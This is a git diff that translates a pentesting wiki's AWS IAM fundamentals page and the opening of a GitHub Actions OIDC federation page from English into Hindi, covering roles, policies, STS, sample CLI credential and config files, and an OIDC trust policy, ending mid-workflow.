साइन इन करता है। -An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM. +एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **कौन भूमिका को अपना सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **यह क्या एक्सेस कर सकता है**। -An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**. +#### AWS सुरक्षा टोकन सेवा (STS) -#### AWS Security Token Service (STS) +AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार क्रेडेंशियल्स** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है: -AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for: +### [IAM में अस्थायी क्रेडेंशियल्स](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +**अस्थायी क्रेडेंशियल्स मुख्य रूप से IAM भूमिकाओं के साथ उपयोग की जाती हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी क्रेडेंशियल्स का अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनुमत नहीं किए गए कार्यों को गलती से करने से रोकता है**। अस्थायी क्रेडेंशियल्स का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि क्रेडेंशियल्स कितने समय तक मान्य हैं। -**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid. +### नीतियाँ -### Policies +#### नीति अनुमतियाँ -#### Policy Permissions +अनुमतियों को असाइन करने के लिए उपयोग की जाती हैं। 2 प्रकार हैं: -Are used to assign permissions. There are 2 types: - -- AWS managed policies (preconfigured by AWS) -- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. - -By **default access** is **denied**, access will be granted if an explicit role has been specified.\ -If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). +- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-कॉन्फ़िगर की गई) +- ग्राहक प्रबंधित नीतियाँ: आपके द्वारा कॉन्फ़िगर की गई। आप AWS प्रबंधित नीतियों के आधार पर नीतियाँ बना सकते हैं (उनमें से एक को संशोधित करके और अपनी खुद की बनाकर), नीति जनरेटर का उपयोग करके (एक GUI दृश्य जो आपको अनुमतियाँ देने और अस्वीकार करने में मदद करता है) या अपनी खुद की लिखकर। +**डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, यदि एक स्पष्ट भूमिका निर्दिष्ट की गई है तो पहुँच दी जाएगी।\ +यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, AWS खाते की रूट सुरक्षा क्रेडेंशियल्स का उपयोग करने वाले अनुरोधों को छोड़कर (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)। ```javascript { - "Version": "2012-10-17", //Version of the policy - "Statement": [ //Main element, there can be more than 1 entry in this array - { - "Sid": "Stmt32894y234276923" //Unique identifier (optional) - "Effect": "Allow", //Allow or deny - "Action": [ //Actions that will be allowed or denied - "ec2:AttachVolume", - "ec2:DetachVolume" - ], - "Resource": [ //Resource the action and effect will be applied to - "arn:aws:ec2:*:*:volume/*", - "arn:aws:ec2:*:*:instance/*" - ], - "Condition": { //Optional element that allow to control when the permission will be effective - "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} - } - } - ] +"Version": "2012-10-17", //Version of the policy +"Statement": [ //Main element, there can be more than 1 entry in this array +{ +"Sid": "Stmt32894y234276923" //Unique identifier (optional) +"Effect": "Allow", //Allow or deny +"Action": [ //Actions that will be allowed or denied +"ec2:AttachVolume", +"ec2:DetachVolume" +], +"Resource": [ //Resource the action and effect will be applied to +"arn:aws:ec2:*:*:volume/*", +"arn:aws:ec2:*:*:instance/*" +], +"Condition": { //Optional element that allow to control when the permission will be effective +"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} +} +} +] } ``` - The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). #### Inline Policies -This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\ -Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. +इस प्रकार की नीतियाँ **प्रत्यक्ष रूप से** एक उपयोगकर्ता, समूह या भूमिका को असाइन की जाती हैं। फिर, वे नीतियों की सूची में नहीं दिखाई देती हैं क्योंकि कोई अन्य उनका उपयोग कर सकता है।\ +Inline policies उपयोगी होती हैं यदि आप **एक नीति और उस पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं** जिस पर इसे लागू किया गया है। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि किसी नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक inline policy का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकतीं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं। #### Resource Bucket Policies -These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**. +ये **नीतियाँ** हैं जिन्हें **संसाधनों** में परिभाषित किया जा सकता है। **AWS के सभी संसाधन उनका समर्थन नहीं करते**। -If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed. +यदि किसी प्रमुख के पास उन पर स्पष्ट अस्वीकृति नहीं है, और एक संसाधन नीति उन्हें पहुँच प्रदान करती है, तो उन्हें अनुमति दी जाती है। ### IAM Boundaries -IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them. +IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने के लिए** उपयोग की जा सकती हैं। इस तरह, भले ही उपयोगकर्ता को **एक अलग नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा। -A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do. +एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **यह संकेत करती है कि उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों का स्तर क्या हो सकता है**। इसलिए, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा यह संकेत करती है कि वह केवल S· बकेट पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है। -**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs. +**यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकताओं से अधिक अनुमतियाँ नहीं हैं। ### Session Policies -A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has). - -This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised. +एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को किसी तरह से ग्रहण किया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)। +यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है। ```bash aws sts assume-role \ - --role-arn \ - --role-session-name \ - [--policy-arns ] - [--policy ] +--role-arn \ +--role-session-name \ +[--policy-arns ] +[--policy ] ``` - Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. +इसलिए, यदि किसी बिंदु पर आप त्रुटि का सामना करते हैं "... क्योंकि कोई सत्र नीति अनुमति नहीं देती है ...", और भूमिका को कार्रवाई करने की अनुमति है, तो इसका कारण है कि **एक सत्र नीति इसे रोक रही है**। -### Identity Federation +### पहचान संघ -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ -An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. +पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना किसी मान्य IAM उपयोगकर्ता खाते से AWS उपयोगकर्ता क्रेडेंशियल प्रदान किए।\ +एक पहचान प्रदाता का उदाहरण आपका अपना कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी। -To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. +इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से एक उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा। -However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other. +हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका ग्रहण करने की अनुमति देगा।
-### IAM Identity Center +### IAM पहचान केंद्र -AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. +AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑन का उत्तराधिकारी) AWS पहचान और पहुँच प्रबंधन (IAM) की क्षमताओं का विस्तार करता है ताकि **उपयोगकर्ताओं और उनके AWS** खातों और क्लाउड अनुप्रयोगों तक पहुँच के प्रशासन को एक **केंद्रीय स्थान** में लाया जा सके। -The login domain is going to be something like `.awsapps.com`. +लॉगिन डोमेन कुछ इस तरह होगा `.awsapps.com`। -To login users, there are 3 identity sources that can be used: +उपयोगकर्ताओं को लॉगिन करने के लिए, 3 पहचान स्रोतों का उपयोग किया जा सकता है: -- Identity Center Directory: Regular AWS users -- Active Directory: Supports different connectors -- External Identity Provider: All users and groups come from an external Identity Provider (IdP) +- पहचान केंद्र निर्देशिका: नियमित AWS उपयोगकर्ता +- सक्रिय निर्देशिका: विभिन्न कनेक्टर्स का समर्थन करता है +- बाहरी पहचान प्रदाता: सभी उपयोगकर्ता और समूह एक बाहरी पहचान प्रदाता (IdP) से आते हैं
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. +पहचान केंद्र निर्देशिका के सबसे सरल मामले में, **पहचान केंद्र के पास उपयोगकर्ताओं और समूहों की एक सूची होगी** और वह उन्हें संगठन के **किसी भी खाते** के लिए **नीतियाँ सौंपने में सक्षम होगा**। -In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. +एक पहचान केंद्र उपयोगकर्ता/समूह को एक खाते तक पहुँच देने के लिए एक **SAML पहचान प्रदाता जो पहचान केंद्र पर विश्वास करता है, बनाया जाएगा**, और एक **भूमिका जो निर्दिष्ट नीतियों के साथ पहचान प्रदाता पर विश्वास करती है, गंतव्य खाते में बनाई जाएगी**। #### AwsSSOInlinePolicy -It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. +यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएं**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इनलाइन नीति में **`AwsSSOInlinePolicy`** के रूप में ये अनुमतियाँ होंगी। -Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. +इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **यह नहीं दर्शाता कि इसकी समान अनुमतियाँ हैं**। -### Cross Account Trusts and Roles +### क्रॉस खाता विश्वास और भूमिकाएँ -**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ -It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. +**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके पास हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके पास है और एक तीसरे पक्ष के AWS खाते के बीच।\ +यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे। -### AWS Simple AD +### AWS सरल AD -Not supported: +समर्थित नहीं: -- Trust Relations -- AD Admin Center -- Full PS API support -- AD Recycle Bin -- Group Managed Service Accounts -- Schema Extensions -- No Direct access to OS or Instances +- विश्वास संबंध +- AD प्रशासन केंद्र +- पूर्ण PS API समर्थन +- AD रीसाइक्ल बिन +- समूह प्रबंधित सेवा खाते +- स्कीमा एक्सटेंशन +- OS या उदाहरणों तक सीधी पहुँच नहीं -#### Web Federation or OpenID Authentication +#### वेब संघ या OpenID प्रमाणीकरण -The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS. +ऐप अस्थायी क्रेडेंशियल बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाँकि, यह AWS कंसोल तक पहुँच प्रदान नहीं करता है, केवल AWS के भीतर संसाधनों तक पहुँच प्रदान करता है। -### Other IAM options +### अन्य IAM विकल्प -- You can **set a password policy setting** options like minimum length and password requirements. -- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. +- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं। +- आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं। -AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. +AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ सुनिश्चित की जा सकें**। -### IAM ID Prefixes +### IAM ID उपसर्ग -In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: +[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के **IAM ID उपसर्ग** उनकी प्रकृति के अनुसार पा सकते हैं: -| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Context-specific credential | -| AGPA | User group | -| AIDA | IAM user | -| AIPA | Amazon EC2 instance profile | -| AKIA | Access key | -| ANPA | Managed policy | -| ANVA | Version in a managed policy | -| APKA | Public key | -| AROA | Role | -| ASCA | Certificate | -| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. | +| ACCA | संदर्भ-विशिष्ट क्रेडेंशियल | +| AGPA | उपयोगकर्ता समूह | +| AIDA | IAM उपयोगकर्ता | +| AIPA | अमेज़न EC2 उदाहरण प्रोफ़ाइल | +| AKIA | पहुँच कुंजी | +| ANPA | प्रबंधित नीति | +| ANVA | प्रबंधित नीति में संस्करण | +| APKA | सार्वजनिक कुंजी | +| AROA | भूमिका | +| ASCA | प्रमाणपत्र | +| ASIA | [अस्थायी (AWS STS) पहुँच कुंजी आईडी](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) इस उपसर्ग का उपयोग करती हैं, लेकिन केवल गुप्त पहुँच कुंजी और सत्र टोकन के संयोजन में अद्वितीय होती हैं। | -### Recommended permissions to audit accounts +### खातों का ऑडिट करने के लिए अनुशंसित अनुमतियाँ -The following privileges grant various read access of metadata: +निम्नलिखित विशेषाधिकार विभिन्न मेटाडेटा के पढ़ने की पहुँच प्रदान करते हैं: - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` @@ -336,14 +322,13 @@ The following privileges grant various read access of metadata: - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## Misc +## विविध -### CLI Authentication - -In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\ -In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\ -Example of credentials file with more than 1 profile: +### CLI प्रमाणीकरण +एक नियमित उपयोगकर्ता को CLI के माध्यम से AWS में प्रमाणीकरण करने के लिए **स्थानीय क्रेडेंशियल्स** होना आवश्यक है। डिफ़ॉल्ट रूप से, आप उन्हें **हाथ से** `~/.aws/credentials` में कॉन्फ़िगर कर सकते हैं या **चलाकर** `aws configure`।\ +उस फ़ाइल में आपके पास एक से अधिक प्रोफ़ाइल हो सकती हैं, यदि **कोई प्रोफ़ाइल** निर्दिष्ट नहीं की गई है तो **aws cli** का उपयोग करते समय, उस फ़ाइल में **`[default]`** नामक प्रोफ़ाइल का उपयोग किया जाएगा।\ +एक से अधिक प्रोफ़ाइल के साथ क्रेडेंशियल फ़ाइल का उदाहरण: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -354,12 +339,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` +यदि आपको **विभिन्न AWS खातों** तक पहुँचने की आवश्यकता है और आपके प्रोफ़ाइल को **उन खातों के अंदर एक भूमिका ग्रहण करने** की अनुमति दी गई है, तो आपको हर बार मैन्युअल रूप से STS को कॉल करने की आवश्यकता नहीं है (`aws sts assume-role --role-arn --role-session-name sessname`) और क्रेडेंशियल्स को कॉन्फ़िगर करने की। -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. - -You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: - +आप `~/.aws/config` फ़ाइल का उपयोग कर सकते हैं[ **यह इंगित करने के लिए कि कौन सी भूमिकाएँ ग्रहण करनी हैं**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), और फिर सामान्य रूप से `--profile` पैरामीटर का उपयोग करें (भूमिका ग्रहण करना उपयोगकर्ता के लिए पारदर्शी तरीके से किया जाएगा)।\ +एक कॉन्फ़िग फ़ाइल का उदाहरण: ``` [profile acc2] region=eu-west-2 @@ -368,23 +351,16 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` - -With this config file you can then use aws cli like: - +इस कॉन्फ़िग फ़ाइल के साथ आप aws cli का उपयोग कर सकते हैं जैसे: ``` aws --profile acc2 ... ``` +यदि आप इसके लिए कुछ **समान** खोज रहे हैं लेकिन **ब्राउज़र** के लिए, तो आप **एक्सटेंशन** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं। -If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). - -## References +## संदर्भ - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 73ae6b448..42dbbfc67 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -4,84 +4,81 @@ ## SAML -For info about SAML please check: +SAML के बारे में जानकारी के लिए कृपया देखें: {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key) +**SAML** के माध्यम से **Identity Federation** को कॉन्फ़िगर करने के लिए आपको केवल एक **नाम** और **metadata XML** प्रदान करने की आवश्यकता है जिसमें सभी SAML कॉन्फ़िगरेशन (**endpoints**, **certificate** जिसमें सार्वजनिक कुंजी है) शामिल हैं। ## OIDC - Github Actions Abuse -In order to add a github action as Identity provider: - -1. For _Provider type_, select **OpenID Connect**. -2. For _Provider URL_, enter `https://token.actions.githubusercontent.com` -3. Click on _Get thumbprint_ to get the thumbprint of the provider -4. For _Audience_, enter `sts.amazonaws.com` -5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:sub": [ - "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", - "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" - ], - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] - } - ``` -6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**. -7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**. -8. Finally use a github action to configure the AWS creds to be used by the workflow: +एक github action को Identity provider के रूप में जोड़ने के लिए: +1. _Provider type_ के लिए, **OpenID Connect** चुनें। +2. _Provider URL_ के लिए, `https://token.actions.githubusercontent.com` दर्ज करें। +3. प्रदाता का थंबप्रिंट प्राप्त करने के लिए _Get thumbprint_ पर क्लिक करें। +4. _Audience_ के लिए, `sts.amazonaws.com` दर्ज करें। +5. एक **नया भूमिका** बनाएं जिसमें **permissions** हों जो github action को चाहिए और एक **trust policy** जो प्रदाता पर भरोसा करती हो जैसे: +- ```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:sub": [ +"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", +"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" +], +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +6. पिछले नीति में ध्यान दें कि केवल एक **branch** को **repository** के **organization** से एक विशिष्ट **trigger** के साथ अधिकृत किया गया था। +7. **role** का **ARN** जिसे github action **impersonate** करने में सक्षम होगा, वह "secret" होगा जिसे github action को जानने की आवश्यकता है, इसलिए इसे एक **secret** के अंदर एक **environment** में **store** करें। +8. अंत में, AWS creds को कॉन्फ़िगर करने के लिए एक github action का उपयोग करें जो workflow द्वारा उपयोग किया जाएगा: ```yaml name: "test AWS Access" # The workflow should only trigger on pull requests to the main branch on: - pull_request: - branches: - - main +pull_request: +branches: +- main # Required to get the ID Token that will be used for OIDC permissions: - id-token: write - contents: read # needed for private repos to checkout +id-token: write +contents: read # needed for private repos to checkout jobs: - aws: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 +aws: +runs-on: ubuntu-latest +steps: +- name: Checkout +uses: actions/checkout@v3 - - name: Configure AWS Credentials - uses: aws-actions/configure-aws-credentials@v1 - with: - aws-region: eu-west-1 - role-to-assume:${{ secrets.READ_ROLE }} - role-session-name: OIDCSession +- name: Configure 